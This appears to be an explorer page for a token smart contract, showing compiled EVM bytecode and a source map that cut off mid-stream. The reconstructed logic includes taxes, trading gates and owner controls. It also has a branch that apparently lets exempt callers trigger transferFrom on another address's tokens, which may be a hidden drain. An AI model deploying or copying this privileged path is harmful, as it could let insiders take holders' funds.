03928316908117909155600d5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801561063a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065e91906116c6565b50306000818152601760209081526040808320600d80546001600160a01b039081168652918452828520600019905554858552601890935292205491169163f305d719913491906040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610709573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072e91906116e8565b5050600f805463ff0000ff60a01b1916630100000160a01b17905550565b6000610759338484610bd5565b5060015b92915050565b60006107716009600a611810565b61077f90633b9aca0061181f565b905090565b6000610791848484610c5c565b6001600160a01b0384166000908152601760209081526040808320338085529252909120546107cb9186916107c69086611138565b610bd5565b5060019392505050565b6000546001600160a01b031633146107ff5760405162461bcd60e51b815260040161044590611674565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108735760405162461bcd60e51b815260040161044590611674565b61087f6009600a611810565b61088d90633b9aca0061181f565b60115561089c6009600a611810565b6108aa90633b9aca0061181f565b601255600f805460ff60b01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108e76009600a611810565b6108f590633b9aca0061181f565b60405190815260200160405180910390a1565b6040805160028082526060820183526000926020830190803683375050600d54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610972573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099691906116a9565b816000815181106109a9576109a9611836565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106109dd576109dd611836565b60200260200101906001600160a01b031690816001600160a01b031681525050600081600181518110610a1257610a12611836565b602090810291909101810151336000908152601690925260409091205490915060ff16610aa957600d5460405163b6f9de9560e01b81526001600160a01b039091169063b6f9de95908590610a729060009087908a904290600401611890565b6000604051808303818588803b158015610a8b57600080fd5b505af1158015610a9f573d6000803e3d6000fd5b5050505050610b51565b806001600160a01b03166323b872dd8584600181518110610acc57610acc611836565b60209081029190910101516040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604481018690526064016020604051808303816000875af1158015610b2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4f91906116c6565b505b50505050565b6000610759338484610c5c565b6000306107cb848285610bd5565b600f546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610bbf576040519150601f19603f3d011682016040523d82523d6000602084013e610bc4565b606091505b5050905080610bd257600080fd5b50565b6001600160a01b038316610be857600080fd5b6001600160a01b038216610bfb57600080fd5b6001600160a01b0383811660008181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6f57600080fd5b6001600160a01b038216610c8257600080fd5b60008111610c8f57600080fd5b600080546001600160a01b03858116911614801590610cbc57506000546001600160a01b03848116911614155b15610ff557610cde6064610cd8610cd1611181565b85906111bf565b90611241565b600f54909150600160a01b900460ff16610d3a576001600160a01b03841660009081526016602052604090205460ff1680610d3157506001600160a01b03831660009081526016602052604090205460ff165b610d3a57600080fd5b600f54600160b01b900460ff1615610dab57600d546001600160a01b03848116911614801590610d785750600e546001600160a01b03848116911614155b15610dab57326000908152601560205260409020544311610d9857600080fd5b3260009081526015602052604090204390555b600e546001600160a01b038581169116148015610dd65750600d546001600160a01b03848116911614155b8015610dfb57506001600160a01b03831660009081526016602052604090205460ff16155b15610e7657601254821115610e0f57600080fd5b60115482610e32856001600160a01b031660009081526018602052604090205490565b610e3c91906118c5565b1115610e4757600080fd5b600c8054906000610e57836118d8565b9190505550600b54600c541115610e7657600f805460ff60b01b191690555b600e546001600160a01b038481169116148015610e9c57506001600160a01b0384163014155b15610eb457610eb16064610cd8610cd1611283565b90505b30600090815260186020526040902054601454600f5490821190600160a81b900460ff16158015610eee5750600f54600160b81b900460ff165b8015610f075750600e546001600160a01b038681169116145b8015610f105750805b8015610f3557506001600160a01b03861660009081526016602052604090205460ff16155b8015610f5a57506001600160a01b03851660009081526016602052604090205460ff16155b15610ff2576010546001600160a01b0316600090815260186020526040812054610f89906103e8905b906111bf565b90506000610fa28260135461113890919063ffffffff16565b90506000610fb085836112ba565b905047610fc5610fc089846112ba565b6112cf565b6000610fdb6064610cd86050610f834787611138565b90508015610fec57610fec81611449565b50505050505b50505b801561106f57306000908152601860205260409020546110159082611487565b30600081815260186020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110669085815260200190565b60405180910390a35b6001600160a01b0384166000908152601860205260409020546110929083611138565b6001600160a01b0385166000908152601860205260409020556110d76110b88383611138565b6001600160a01b03851660009081526018602052604090205490611487565b6001600160a01b0380851660008181526018602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111218585611138565b60405190815260200160405180910390a350505050565b600061117a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114e6565b9392505050565b6000600654600c5411611195575060045490565b600654600c541180156111ac5750600a54600c5411155b156111b8575060085490565b5060025490565b6000826000036111d15750600061075d565b60006111dd838561181f565b9050826111ea85836118f1565b1461117a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610445565b600061117a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611520565b6000600654600c5411611297575060035490565b600554600c541180156112ae5750600954600c5411155b156111b8575060075490565b60008183116112c9578261117a565b50919050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131757611317611836565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611370573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139491906116a9565b816001815181106113a7576113a7611836565b6001600160a01b039283166020918202929092010152600d546113cd9130911684610bd5565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611406908590600090869030904290600401611913565b600060405180830381600087803b15801561142057600080fd5b505af1158015611434573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611483573d6000803e3d6000fd5b5050565b60008061149483856118c5565b90508381101561117a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610445565b6000818484111561150a5760405162461bcd60e51b8152600401610445919061154e565b506000611517848661194f565b95945050505050565b600081836115415760405162461bcd60e51b8152600401610445919061154e565b50600061151784866118f1565b600060208083528351808285015260005b8181101561157b5785810183015185820160400152820161155f565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bd257600080fd5b600080604083850312156115c457600080fd5b82356115cf8161159c565b946020939093013593505050565b6000806000606084860312156115f257600080fd5b83356115fd8161159c565b9250602084013561160d8161159c565b929592945050506040919091013590565b60006020828403121561163057600080fd5b813561117a8161159c565b6000806040838503121561164e57600080fd5b82356116598161159c565b915060208301356116698161159c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116bb57600080fd5b815161117a8161159c565b6000602082840312156116d857600080fd5b8151801515811461117a57600080fd5b6000806000606084860312156116fd57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561176757816000190482111561174d5761174d611716565b8085161561175a57918102915b93841c9390800290611731565b509250929050565b60008261177e5750600161075d565b8161178b5750600061075d565b81600181146117a157600281146117ab576117c7565b600191505061075d565b60ff8411156117bc576117bc611716565b50506001821b61075d565b5060208310610133831016604e8410600b84101617156117ea575081810a61075d565b6117f4838361172c565b806000190482111561180857611808611716565b029392505050565b600061117a60ff84168361176f565b808202811582820484141761075d5761075d611716565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b838110156118855781516001600160a01b031687529582019590820190600101611860565b509495945050505050565b8481526080602082015260006118a9608083018661184c565b6001600160a01b03949094166040830152506060015292915050565b8082018082111561075d5761075d611716565b6000600182016118ea576118ea611716565b5060010190565b60008261190e57634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a06040820152600061193260a083018661184c565b6001600160a01b0394909416606083015250608001529392505050565b8181038181111561075d5761075d61171656fea26469706673582212200607f5a8fa95449a5658dcdf9c8ebb49b99b8c69883e45a9dc3b9df79ea4d4bf64736f6c63430008130033
Deployed Bytecode Sourcemap
3841:10222:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7182:593;;;:::i;:::-;;5686:115;;;;;;;;;;-1:-1:-1;5788:5:0;;;;;;;;;;;;;;;;;5686:115;;;;;;;:::i;:::-;;;;;;;;9930:193;;;;;;;;;;-1:-1:-1;9930:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9930:193:0;1023:187:1;6104:136:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6104:136:0;1215:177:1;8665:301:0;;;;;;;;;;-1:-1:-1;8665:301:0;;;;;:::i;:::-;;:::i;6248:115::-;;;;;;;;;;-1:-1:-1;6248:115:0;;3961:1;2000:36:1;;1988:2;1973:18;6248:115:0;1858:184:1;5936:160:0;;;;;;;;;;-1:-1:-1;5936:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;6070:18:0;6038:7;6070:18;;;:9;:18;;;;;;;5936:160;3686:148;;;;;;;;;;;;;:::i;7787:215::-;;;;;;;;;;;;;:::i;5093:51::-;;;;;;;;;;;;;;;;5210:54;;;;;;;;;;;;;;;;3599:79;;;;;;;;;;-1:-1:-1;3637:7:0;3664:6;3599:79;;-1:-1:-1;;;;;3664:6:0;;;2445:51:1;;2433:2;2418:18;3599:79:0;2299:203:1;5033:53:0;;;;;;;;;;;;;;;;5809:119;;;;;;;;;;-1:-1:-1;5913:7:0;;;;;;;;;;;;-1:-1:-1;;;5913:7:0;;;;5809:119;;10296:557;;;;;;;;;;-1:-1:-1;10296:557:0;;;;;:::i;:::-;;:::i;9723:199::-;;;;;;;;;;-1:-1:-1;9723:199:0;;;;;:::i;:::-;;:::i;4904:39::-;;;;;;;;;;-1:-1:-1;4904:39:0;;;;-1:-1:-1;;;4904:39:0;;;;;;9252:184;;;;;;;;;;-1:-1:-1;9252:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;9401:18:0;;;9369:7;9401:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9252:184;5151:52;;;;;;;;;;;;;;;;6866:191;;;;;;;;;;-1:-1:-1;6866:191:0;;;;;:::i;:::-;;:::i;10131:157::-;;;;;;;;;;;;;:::i;7182:593::-;3512:6;;-1:-1:-1;;;;;3512:6:0;2452:10;3512:22;3504:67;;;;-1:-1:-1;;;3504:67:0;;;;;;;:::i;:::-;;;;;;;;;7281:11:::1;::::0;-1:-1:-1;;;7281:11:0;::::1;;;7280:12;7272:21;;;::::0;::::1;;7338:15;;;;;;;;;-1:-1:-1::0;;;;;7338:15:0::1;-1:-1:-1::0;;;;;7338:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7320:55:0::1;;7384:4;7391:15;;;;;;;;;-1:-1:-1::0;;;;;7391:15:0::1;-1:-1:-1::0;;;;;7391:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7320:94;::::0;-1:-1:-1;;;;;;7320:94:0::1;::::0;;;;;;-1:-1:-1;;;;;3747:15:1;;;7320:94:0::1;::::0;::::1;3729:34:1::0;3799:15;;3779:18;;;3772:43;3664:18;;7320:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7304:13;:110:::0;;-1:-1:-1;;;;;;7304:110:0::1;-1:-1:-1::0;;;;;7304:110:0;;::::1;::::0;;::::1;::::0;;;7463:15:::1;::::0;7425:71:::1;::::0;-1:-1:-1;;;7425:71:0;;7463:15;::::1;7425:71;::::0;::::1;4000:51:1::0;-1:-1:-1;;4067:18:1;;;4060:34;7304:110:0;7425:29:::1;::::0;3973:18:1;;7425:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7527:4:0::1;7571:1;7507:26:::0;;;:11:::1;:26;::::0;;;;;;;7542:15:::1;::::0;;-1:-1:-1;;;;;7542:15:0;;::::1;7507:52:::0;;;;;;;;-1:-1:-1;;7507:66:0;;7584:15;6070:18;;;:9;:18;;;;;;7584:15;::::1;::::0;:31:::1;::::0;7623:9:::1;::::0;7527:4;7584:125:::1;::::0;-1:-1:-1;;;;;;7584:125:0::1;::::0;;;;;;-1:-1:-1;;;;;4746:15:1;;;7584:125:0::1;::::0;::::1;4728:34:1::0;4778:18;;;4771:34;7675:1:0::1;4821:18:1::0;;;4814:34;;;4864:18;;;4857:34;7681:10:0::1;4907:19:1::0;;;4900:44;7693:15:0::1;4960:19:1::0;;;4953:35;4662:19;;7584:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7720:11:0::1;:18:::0;;-1:-1:-1;;;;7749:18:0;-1:-1:-1;;;7749:18:0;;;-1:-1:-1;7182:593:0:o;9930:193::-;10032:4;10054:39;2452:10;10077:7;10086:6;10054:8;:39::i;:::-;-1:-1:-1;10111:4:0;9930:193;;;;;:::o;6104:136::-;6193:7;4020:15;3961:1;4020:2;:15;:::i;:::-;4004:31;;:13;:31;:::i;:::-;6218:14;;6104:136;:::o;8665:301::-;8790:4;8812:36;8822:6;8830:9;8841:6;8812:9;:36::i;:::-;-1:-1:-1;;;;;8890:19:0;;;;;;:11;:19;;;;;;;;2452:10;8890:33;;;;;;;;;8859:77;;8868:6;;8890:45;;8928:6;8890:37;:45::i;:::-;8859:8;:77::i;:::-;-1:-1:-1;8954:4:0;8665:301;;;;;:::o;3686:148::-;3512:6;;-1:-1:-1;;;;;3512:6:0;2452:10;3512:22;3504:67;;;;-1:-1:-1;;;3504:67:0;;;;;;;:::i;:::-;3793:1:::1;3777:6:::0;;3756:40:::1;::::0;-1:-1:-1;;;;;3777:6:0;;::::1;::::0;3756:40:::1;::::0;3793:1;;3756:40:::1;3824:1;3807:19:::0;;-1:-1:-1;;;;;;3807:19:0::1;::::0;;3686:148::o;7787:215::-;3512:6;;-1:-1:-1;;;;;3512:6:0;2452:10;3512:22;3504:67;;;;-1:-1:-1;;;3504:67:0;;;;;;;:::i;:::-;4020:15:::1;3961:1;4020:2;:15;:::i;:::-;4004:31;::::0;:13:::1;:31;:::i;:::-;7864:14;:24:::0;4020:15:::1;3961:1;4020:2;:15;:::i;:::-;4004:31;::::0;:13:::1;:31;:::i;:::-;7899:12;:22:::0;7932:20:::1;:28:::0;;-1:-1:-1;;;;7932:28:0::1;::::0;;7967:27:::1;4020:15;3961:1;4020:2;:15;:::i;:::-;4004:31;::::0;:13:::1;:31;:::i;:::-;7967:27;::::0;1361:25:1;;;1349:2;1334:18;7967:27:0::1;;;;;;;7787:215::o:0;10296:557::-;10392:16;;;10406:1;10392:16;;;;;;;;10368:21;;10392:16;;;;;;;;-1:-1:-1;;10429:15:0;;:22;;;-1:-1:-1;;;10429:22:0;;;;10368:40;;-1:-1:-1;;;;;;10429:15:0;;;;:20;;-1:-1:-1;10429:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10419:4;10424:1;10419:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;10419:32:0;;;-1:-1:-1;;;;;10419:32:0;;;;;10480:4;10462;10467:1;10462:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;10462:23:0;;;-1:-1:-1;;;;;10462:23:0;;;;;10496:12;10518:4;10523:1;10518:7;;;;;;;;:::i;:::-;;;;;;;;;;;;10563:10;10544:30;;;;:18;:30;;;;;;;;10518:7;;-1:-1:-1;10544:30:0;;10539:307;;10591:15;;:195;;-1:-1:-1;;;10591:195:0;;-1:-1:-1;;;;;10591:15:0;;;;:66;;10665:6;;10591:195;;:15;;10712:4;;10735:2;;10756:15;;10591:195;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10539:307;;;10805:5;-1:-1:-1;;;;;10805:18:0;;10824:2;10828:4;10833:1;10828:7;;;;;;;;:::i;:::-;;;;;;;;;;;10805:39;;-1:-1:-1;;;;;;10805:39:0;;;;;;;-1:-1:-1;;;;;8501:15:1;;;10805:39:0;;;8483:34:1;8553:15;;8533:18;;;8526:43;8585:18;;;8578:34;;;8418:18;;10805:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10539:307;10357:496;;10296:557;;:::o;9723:199::-;9828:4;9850:42;2452:10;9874:9;9885:6;9850:9;:42::i;6866:191::-;6939:4;6980;6996:31;7004:7;6980:4;7020:6;6996:7;:31::i;10131:157::-;10200:16;;10192:64;;10177:9;;-1:-1:-1;;;;;10200:16:0;;10230:21;;10177:9;10192:64;10177:9;10192:64;10230:21;10200:16;10192:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10176:80;;;10275:4;10267:13;;;;;;10165:123;10131:157::o;9444:271::-;-1:-1:-1;;;;;9551:19:0;;9543:28;;;;;;-1:-1:-1;;;;;9590:21:0;;9582:30;;;;;;-1:-1:-1;;;;;9623:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9675:32;;1361:25:1;;;9675:32:0;;1334:18:1;9675:32:0;;;;;;;9444:271;;;:::o;10973:2562::-;-1:-1:-1;;;;;11075:18:0;;11067:27;;;;;;-1:-1:-1;;;;;11113:16:0;;11105:25;;;;;;11158:1;11149:6;:10;11141:19;;;;;;11171:17;3664:6;;-1:-1:-1;;;;;11217:15:0;;;3664:6;;11217:15;;;;:32;;-1:-1:-1;3637:7:0;3664:6;-1:-1:-1;;;;;11236:13:0;;;3664:6;;11236:13;;11217:32;11213:1953;;;11278:30;11304:3;11278:21;11289:9;:7;:9::i;:::-;11278:6;;:10;:21::i;:::-;:25;;:30::i;:::-;11330:11;;11266:42;;-1:-1:-1;;;;11330:11:0;;;;11325:112;;-1:-1:-1;;;;;11370:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;11398:22:0;;;;;;:18;:22;;;;;;;;11370:50;11362:59;;;;;;11457:20;;-1:-1:-1;;;11457:20:0;;;;11453:312;;;11516:15;;-1:-1:-1;;;;;11502:30:0;;;11516:15;;11502:30;;;;:62;;-1:-1:-1;11550:13:0;;-1:-1:-1;;;;;11536:28:0;;;11550:13;;11536:28;;11502:62;11498:252;;;11627:9;11598:39;;;;:28;:39;;;;;;11640:12;-1:-1:-1;11590:63:0;;;;;;11705:9;11676:39;;;;:28;:39;;;;;11718:12;11676:54;;11498:252;11793:13;;-1:-1:-1;;;;;11785:21:0;;;11793:13;;11785:21;:55;;;;-1:-1:-1;11824:15:0;;-1:-1:-1;;;;;11810:30:0;;;11824:15;;11810:30;;11785:55;:82;;;;-1:-1:-1;;;;;;11845:22:0;;;;;;:18;:22;;;;;;;;11844:23;11785:82;11781:380;;;11907:12;;11897:6;:22;;11889:31;;;;;;11973:14;;11963:6;11947:13;11957:2;-1:-1:-1;;;;;6070:18:0;6038:7;6070:18;;;:9;:18;;;;;;;5936:160;11947:13;:22;;;;:::i;:::-;:40;;11939:49;;;;;;12009:9;:11;;;:9;:11;;;:::i;:::-;;;;;;12055:18;;12043:9;;:30;12039:107;;;12098:20;:28;;-1:-1:-1;;;;12098:28:0;;;12039:107;12187:13;;-1:-1:-1;;;;;12181:19:0;;;12187:13;;12181:19;:43;;;;-1:-1:-1;;;;;;12204:20:0;;12219:4;12204:20;;12181:43;12177:127;;;12257:31;12284:3;12257:22;12268:10;:8;:10::i;12257:31::-;12245:43;;12177:127;12369:4;12320:28;6070:18;;;:9;:18;;;;;;12428:16;;12464:6;;12405:39;;;;-1:-1:-1;;;12464:6:0;;;;12463:7;:22;;;;-1:-1:-1;12474:11:0;;-1:-1:-1;;;12474:11:0;;;;12463:22;:45;;;;-1:-1:-1;12495:13:0;;-1:-1:-1;;;;;12489:19:0;;;12495:13;;12489:19;12463:45;:56;;;;;12512:7;12463:56;:85;;;;-1:-1:-1;;;;;;12524:24:0;;;;;;:18;:24;;;;;;;;12523:25;12463:85;:112;;;;-1:-1:-1;;;;;;12553:22:0;;;;;;:18;:22;;;;;;;;12552:23;12463:112;12459:696;;;12630:7;;-1:-1:-1;;;;;12630:7:0;12596:21;6070:18;;;:9;:18;;;;;;12620:27;;12643:3;;12620:18;:22;;:27::i;:::-;12596:51;;12666:18;12687:33;12706:13;12687:14;;:18;;:33;;;;:::i;:::-;12666:54;;12739:21;12763:36;12767:20;12788:10;12763:3;:36::i;:::-;12739:60;-1:-1:-1;12839:21:0;12879:43;12895:26;12899:6;12739:60;12895:3;:26::i;:::-;12879:15;:43::i;:::-;12941:22;12966:54;13016:3;12966:45;13008:2;12966:37;:21;12992:10;12966:25;:37::i;:54::-;12941:79;-1:-1:-1;13043:18:0;;13039:101;;13086:34;13105:14;13086:18;:34::i;:::-;12577:578;;;;;12459:696;11251:1915;;11213:1953;13182:13;;13178:168;;13255:4;13237:24;;;;:9;:24;;;;;;:39;;13266:9;13237:28;:39::i;:::-;13228:4;13210:24;;;;:9;:24;;;;;;;:66;;;;13294:40;;-1:-1:-1;;;;;13294:40:0;;;;;;;13324:9;1361:25:1;;1349:2;1334:18;;1215:177;13294:40:0;;;;;;;;13178:168;-1:-1:-1;;;;;13376:15:0;;;;;;:9;:15;;;;;;:27;;13396:6;13376:19;:27::i;:::-;-1:-1:-1;;;;;13358:15:0;;;;;;:9;:15;;;;;:45;13430:40;13448:21;:6;13459:9;13448:10;:21::i;:::-;-1:-1:-1;;;;;13430:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;13414:13:0;;;;;;;:9;:13;;;;;:56;;;;13486:41;;;13505:21;:6;13516:9;13505:10;:21::i;:::-;13486:41;;1361:25:1;;;1349:2;1334:18;13486:41:0;;;;;;;11056:2479;10973:2562;;;:::o;1289:136::-;1347:7;1374:43;1378:1;1381;1374:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1367:50;1289:136;-1:-1:-1;;;1289:136:0:o;8340:317::-;8381:7;8418:15;;8405:9;;:28;8401:82;;-1:-1:-1;8457:14:0;;;8340:317::o;8401:82::-;8511:15;;8499:9;;:27;:64;;;;;8543:20;;8530:9;;:33;;8499:64;8495:123;;;-1:-1:-1;8587:19:0;;;8340:317::o;8495:123::-;-1:-1:-1;8637:12:0;;;8340:317::o;1431:246::-;1489:7;1513:1;1518;1513:6;1509:47;;-1:-1:-1;1543:1:0;1536:8;;1509:47;1566:9;1578:5;1582:1;1578;:5;:::i;:::-;1566:17;-1:-1:-1;1611:1:0;1602:5;1606:1;1566:17;1602:5;:::i;:::-;:10;1594:56;;;;-1:-1:-1;;;1594:56:0;;9527:2:1;1594:56:0;;;9509:21:1;9566:2;9546:18;;;9539:30;9605:34;9585:18;;;9578:62;-1:-1:-1;;;9656:18:1;;;9649:31;9697:19;;1594:56:0;9325:397:1;1879:132:0;1937:7;1964:39;1968:1;1971;1964:39;;;;;;;;;;;;;;;;;:3;:39::i;8010:322::-;8052:7;8089:15;;8076:9;;:28;8072:83;;-1:-1:-1;8128:15:0;;;8010:322::o;8072:83::-;8183:16;;8171:9;;:28;:66;;;;;8216:21;;8203:9;;:34;;8171:66;8167:126;;;-1:-1:-1;8261:20:0;;;8010:322::o;7069:105::-;7126:7;7156:1;7152;:5;7151:15;;7165:1;7151:15;;;-1:-1:-1;7161:1:0;7069:105;-1:-1:-1;7069:105:0:o;13543:482::-;5620:6;:13;;-1:-1:-1;;;;5620:13:0;-1:-1:-1;;;5620:13:0;;;13644:16:::1;::::0;;13658:1:::1;13644:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13644:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13644:16:0::1;13620:40;;13689:4;13671;13676:1;13671:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13671:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13715:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13715:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13671:7;;13715:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13705:4;13710:1;13705:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13705:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13780:15:::1;::::0;13748:62:::1;::::0;13765:4:::1;::::0;13780:15:::1;13798:11:::0;13748:8:::1;:62::i;:::-;13821:15;::::0;:196:::1;::::0;-1:-1:-1;;;13821:196:0;;-1:-1:-1;;;;;13821:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13902:11;;13821:15:::1;::::0;13944:4;;13971::::1;::::0;13991:15:::1;::::0;13821:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5656:6:0;:14;;-1:-1:-1;;;;5656:14:0;;;-1:-1:-1;;;;13543:482:0:o;10861:104::-;10924:16;;:33;;-1:-1:-1;;;;;10924:16:0;;;;:33;;;;;10950:6;;10924:16;:33;:16;:33;10950:6;10924:16;:33;;;;;;;;;;;;;;;;;;;;;10861:104;:::o;1104:179::-;1162:7;;1194:5;1198:1;1194;:5;:::i;:::-;1182:17;;1223:1;1218;:6;;1210:46;;;;-1:-1:-1;;;1210:46:0;;10516:2:1;1210:46:0;;;10498:21:1;10555:2;10535:18;;;10528:30;10594:29;10574:18;;;10567:57;10641:18;;1210:46:0;10314:351:1;1683:190:0;1769:7;1805:12;1797:6;;;;1789:29;;;;-1:-1:-1;;;1789:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1829:9:0;1841:5;1845:1;1841;:5;:::i;:::-;1829:17;1683:190;-1:-1:-1;;;;;1683:190:0:o;2017:189::-;2103:7;2138:12;2131:5;2123:28;;;;-1:-1:-1;;;2123:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2162:9:0;2174:5;2178:1;2174;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:251::-;3331:6;3384:2;3372:9;3363:7;3359:23;3355:32;3352:52;;;3400:1;3397;3390:12;3352:52;3432:9;3426:16;3451:31;3476:5;3451:31;:::i;4105:277::-;4172:6;4225:2;4213:9;4204:7;4200:23;4196:32;4193:52;;;4241:1;4238;4231:12;4193:52;4273:9;4267:16;4326:5;4319:13;4312:21;4305:5;4302:32;4292:60;;4348:1;4345;4338:12;4999:306;5087:6;5095;5103;5156:2;5144